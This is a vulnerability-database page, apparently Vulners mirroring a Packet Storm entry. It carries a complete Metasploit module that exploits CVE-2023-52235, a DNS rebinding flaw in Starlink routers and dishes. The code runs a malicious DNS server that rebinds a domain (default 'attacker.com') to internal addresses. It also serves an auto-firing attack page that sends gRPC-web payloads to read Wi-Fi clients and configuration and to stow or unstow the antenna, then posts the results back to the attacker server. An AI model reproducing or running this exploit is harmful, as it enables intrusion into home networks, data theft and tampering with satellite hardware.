| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| SpaceX Starlink Wi-Fi router 安全漏洞 | 5 Apr 202400:00 | – | cnnvd | |
| CVE-2023-52235 | 5 Apr 202400:00 | – | cve | |
| CVE-2023-52235 | 5 Apr 202400:00 | – | cvelist | |
| EUVD-2023-56908 | 3 Oct 202520:07 | – | euvd | |
| CVE-2023-52235 | 5 Apr 202406:15 | – | nvd | |
| 📄 Starlink DNS Rebinding | 23 Mar 202600:00 | – | packetstorm | |
| CVE-2023-52235 | 5 Apr 202400:00 | – | vulnrichment |
==================================================================================================================================
| # Title : DNS Rebinding Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : indoushka |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235).
The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting.
The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services.
It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration.
[+] Key enhancements include:
Robust DNS query parsing with compression handling safeguards
Per-client session tracking with automatic cleanup
Validation of DNS query type/class
Controlled TTL behavior to ensure rebinding effectiveness
Thread-safe data collection and exfiltration handling
Input size validation to prevent memory abuse
Graceful error handling and resource cleanup
Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ',
'Description' => %q{
This module exploits CVE-2023-52235, a DNS rebinding vulnerability
in Starlink Routers and Dishy (all generations before 2023.53.0).
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2023-52235'],
['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235']
],
'DisclosureDate' => '2023-12-20',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']),
OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']),
OptPort.new('DNS_PORT', [true, 'DNS server port', 53]),
OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]),
OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]),
OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1])
])
end
def setup
@domain = datastore['DOMAIN']
@public_ip = datastore['PUBLIC_IP']
@dns_port = datastore['DNS_PORT']
@attack_type = datastore['ATTACK']
@auto_attack = datastore['AUTO_ATTACK']
@dns_ttl = datastore['DNS_TTL']
@dns_ttl = 1 if @dns_ttl == 0
@internal_targets = ['192.168.1.1', '192.168.100.1']
@collected_data = []
@data_lock = Mutex.new
@dns_running = false
@dns_thread = nil
@client_sessions = {}
@session_lock = Mutex.new
super
end
def run
print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)")
print_status("Domain: #{@domain}")
print_status("Public IP: #{@public_ip}")
print_status("DNS Port: #{@dns_port}")
print_status("DNS TTL: #{@dns_ttl}")
print_status("HTTP Port: #{datastore['SRVPORT']}")
print_status("Attack Type: #{@attack_type}")
print_status("Auto Attack: #{@auto_attack}")
start_dns_server
start_service({
'Uri' => {
'Proc' => proc { |cli, req| on_request(cli, req) },
'Path' => '/'
}
})
print_good("HTTP server started on port #{datastore['SRVPORT']}")
print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/")
print_status("Waiting for victim to visit the page...")
last_cleanup = Time.now
cleanup_interval = 60
while @dns_running
if Time.now - last_cleanup > cleanup_interval
cleanup_old_sessions
last_cleanup = Time.now
end
select(nil, nil, nil, 1)
end
end
def cleanup_old_sessions
@session_lock.synchronize do
now = Time.now.to_i
@client_sessions.keys.each do |client_id|
if now - @client_sessions[client_id][:last_seen] > 30
@client_sessions.delete(client_id)
end
end
end
end
def start_dns_server
@dns_running = true
@dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do
begin
dns_sock = nil
dns_sock = Rex::Socket::Udp.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => @dns_port
)
print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})")
while @dns_running
begin
data, addr = dns_sock.recvfrom(512)
next if data.nil? or data.length < 12
query_id = data[0,2].unpack('n')[0]
qdcount = data[4,2].unpack('n')[0]
next if qdcount == 0
pos = 12
qname = ''
jumps = 0
max_jumps = 10
while true
break if pos >= data.length
len = data[pos].ord
if (len & 0xC0) == 0xC0
jumps += 1
if jumps > max_jumps
print_warning("[DNS] Compression loop detected from #{addr[0]}")
break
end
if pos + 1 >= data.length
break
end
pointer = ((len & 0x3F) << 8) | data[pos + 1].ord
pos = pointer
next
end
break if len == 0
pos += 1
if pos + len > data.length
break
end
qname << data[pos, len] + '.'
pos += len
end
qname = qname[0..-2] if qname.end_with?('.')
pos += 1
next if pos + 4 > data.length
qtype = data[pos,2].unpack('n')[0]
pos += 2
qclass = data[pos,2].unpack('n')[0]
pos += 2
next unless qtype == 1
next unless qclass == 1
next unless qname.to_s.downcase == @domain.downcase
question_data = data[12, pos - 12]
client_id = "#{addr[0]}:#{addr[1]}"
@session_lock.synchronize do
@client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i }
@client_sessions[client_id][:last_seen] = Time.now.to_i
end
stage = @client_sessions[client_id][:stage]
@client_sessions[client_id][:stage] += 1
if stage == 0
ip = @public_ip
print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}")
else
ip = @internal_targets[(stage - 1) % @internal_targets.length]
print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}")
end
response = ''
response << [query_id].pack('n')
response << [0x8180].pack('n')
response << [1].pack('n')
response << [1].pack('n')
response << [0].pack('n')
response << [0].pack('n')
response << question_data
NAME_POINTER = 0xC00C
response << [NAME_POINTER].pack('n')
response << [1].pack('n')
response << [1].pack('n')
response << [@dns_ttl].pack('N')
response << [4].pack('n')
response << ip.split('.').map(&:to_i).pack('C4')
dns_sock.send(response, 0, addr[0], addr[1])
rescue ::Interrupt
break
rescue => e
print_error("DNS error: #{e}")
end
end
dns_sock.close if dns_sock
rescue => e
print_error("Failed to start DNS server: #{e}")
@dns_running = false
end
end
end
def stop_dns_server
@dns_running = false
if @dns_thread
@dns_thread.kill
@dns_thread.join
end
end
def on_request(cli, req)
sleep(0.001)
if req.method == 'GET' && req.uri == '/'
send_attack_page(cli)
elsif req.method == 'POST'
handle_exfiltration(cli, req)
else
send_not_found(cli)
end
end
def send_attack_page(cli)
html = generate_attack_page
send_response(cli, 200, 'text/html', html)
end
def handle_exfiltration(cli, req)
if req.body.length > 1024 * 1024
send_response(cli, 413, 'application/json', '{"status":"payload too large"}')
return
end
begin
data = JSON.parse(req.body.force_encoding('UTF-8'))
@data_lock.synchronize do
@collected_data << data
if @collected_data.length > 1000
@collected_data = @collected_data.last(500)
end
end
print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}")
report_note(
host: cli.peerhost,
type: "starlink.#{data['type']}",
data: data,
update: :unique_data
)
send_response(cli, 200, 'application/json', '{"status":"received"}')
rescue JSON::ParserError => e
print_error("JSON parse error: #{e}")
send_response(cli, 400, 'application/json', '{"status":"invalid json"}')
rescue => e
print_error("Failed to process exfiltration: #{e}")
send_response(cli, 500, 'application/json', '{"status":"error"}')
end
end
def send_response(cli, status, content_type, body)
body = body.to_s
cli.send_response(status)
cli.send_header('Content-Type', content_type)
cli.send_header('Content-Length', body.bytesize)
cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
cli.send_header('X-Content-Type-Options', 'nosniff')
cli.end_headers
cli.send_body(body)
end
def send_not_found(cli)
send_response(cli, 404, 'text/plain', 'Not Found')
end
def generate_attack_page
commands = {
'wifi_clients' => {
'host' => '192.168.1.1',
'port' => 9001,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAABNK7AQA='
},
'wifi_config' => {
'host' => '192.168.1.1',
'port' => 9001,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAAcq7AQA='
},
'dishy_config' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAAu+JAQA='
},
'stow' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAAA5J9AA=='
},
'unstow' => {
'host' => '192.168.100.1',
'port' => 9201,
'path' => '/SpaceX.API.Device.Device/Handle',
'payload' => 'AAAABZJ9AgEI'
}
}
commands_json = JSON.generate(commands)
target_domain = @domain
attack_cmd = @attack_type
auto_attack_js = ''
if @auto_attack
delay = 3000
auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});"
end
return <<~HTML
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Starlink DNS Rebinding Exploit - CVE-2023-52235</title>
<style>
body { background: #0a0a0a; color: #0f0; font-family: monospace; padding: 20px; }
.container { max-width: 1200px; margin: 0 auto; background: #111; border: 1px solid #0f0; border-radius: 8px; padding: 20px; }
h1 { color: #f60; text-align: center; }
.status { background: #000; padding: 15px; border-radius: 4px; margin: 20px 0; height: 200px; overflow-y: auto; font-size: 12px; }
button { background: #f60; color: #000; border: none; padding: 10px 20px; margin: 5px; cursor: pointer; border-radius: 4px; font-weight: bold; }
button:hover { background: #f80; }
.danger { background: #c00; color: #fff; }
</style>
</head>
<body>
<div class="container">
<h1> CVE-2023-52235 - Starlink DNS Rebinding Exploit </h1>
<p>Target: <strong>#{target_domain}</strong></p>
<div>
<button onclick="attack('all')"> FULL ATTACK</button>
<button onclick="attack('wifi_clients')">Wi-Fi Clients</button>
<button onclick="attack('wifi_config')">Wi-Fi Config</button>
<button onclick="attack('dishy_config')"> Dishy Config</button>
<button onclick="attack('stow')" class="danger"> STOW ANTENNA</button>
<button onclick="attack('unstow')"> UNSTOW</button>
</div>
<div><h3>Status:</h3><div id="status" class="status">[+] Ready...</div></div>
<div><h3>Exfiltrated Data:</h3><div id="results" class="status">[-] No data yet</div></div>
</div>
<script>
const TARGET = "#{target_domain}";
const COMMANDS = #{commands_json};
let messageCount = 0;
const MAX_MESSAGES = 200;
function log(msg, type) {
type = type || 'info';
const div = document.getElementById('status');
const colors = {info: '#0af', success: '#0f0', error: '#f00'};
const color = colors[type] || '#fff';
messageCount++;
if (messageCount > MAX_MESSAGES) {
while (div.children.length > MAX_MESSAGES / 2) {
div.removeChild(div.firstChild);
}
messageCount = div.children.length;
}
div.innerHTML += `<div style="color:${color}">[${new Date().toLocaleTimeString()}] ${msg}</div>`;
div.scrollTop = div.scrollHeight;
}
function exfiltrate(type, data) {
fetch('/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({type: type, data: data, timestamp: new Date().toISOString()})
}).catch(e => console.log(e));
const resultsDiv = document.getElementById('results');
const dataStr = typeof data === 'string' ? data : JSON.stringify(data).substring(0, 200);
while (resultsDiv.children.length > 100) {
resultsDiv.removeChild(resultsDiv.firstChild);
}
resultsDiv.innerHTML = `<div style="color:#0f0">[${new Date().toLocaleTimeString()}] ${type}: ${dataStr}</div>` + resultsDiv.innerHTML;
}
async function sendGRPCRequest(cmd, config) {
const url = `http://${TARGET}:${config.port}${config.path}`;
const payloadBytes = Uint8Array.from(atob(config.payload), c => c.charCodeAt(0));
const compressionFlag = new Uint8Array([0]);
const lengthBytes = new Uint8Array(4);
new DataView(lengthBytes.buffer).setUint32(0, payloadBytes.length, false);
const framedPayload = new Uint8Array(1 + 4 + payloadBytes.length);
framedPayload.set(compressionFlag, 0);
framedPayload.set(lengthBytes, 1);
framedPayload.set(payloadBytes, 5);
log(`Sending ${cmd} to ${config.host}:${config.port}...`, 'info');
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/grpc-web+proto',
'x-grpc-web': '1',
'Accept': 'application/grpc-web+proto'
},
body: framedPayload,
cache: 'no-store',
credentials: 'omit'
});
if (response.ok) {
const responseData = await response.arrayBuffer();
log(`${cmd} SUCCESS! Response: ${responseData.byteLength} bytes`, 'success');
exfiltrate(cmd, {status: 'success', length: responseData.byteLength});
return {success: true};
} else {
log(`${cmd} FAILED: HTTP ${response.status}`, 'error');
exfiltrate(cmd, {status: 'failed', http: response.status});
return {success: false};
}
} catch(e) {
log(`${cmd} ERROR: ${e.message}`, 'error');
exfiltrate(cmd, {status: 'error', error: e.message});
return {success: false};
}
}
async function attack(type) {
log(`Starting attack: ${type}`, 'info');
if (type === 'all') {
for (const [cmd, config] of Object.entries(COMMANDS)) {
await sendGRPCRequest(cmd, config);
await new Promise(r => setTimeout(r, 2000));
}
} else if (COMMANDS[type]) {
await sendGRPCRequest(type, COMMANDS[type]);
} else {
log(`Unknown command: ${type}`, 'error');
}
log(`Attack completed: ${type}`, 'success');
}
log("Attack page loaded. Target domain: " + TARGET, 'info');
#{auto_attack_js}
</script>
</body>
</html>
HTML
end
def cleanup
print_status("Cleaning up...")
stop_dns_server
super
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation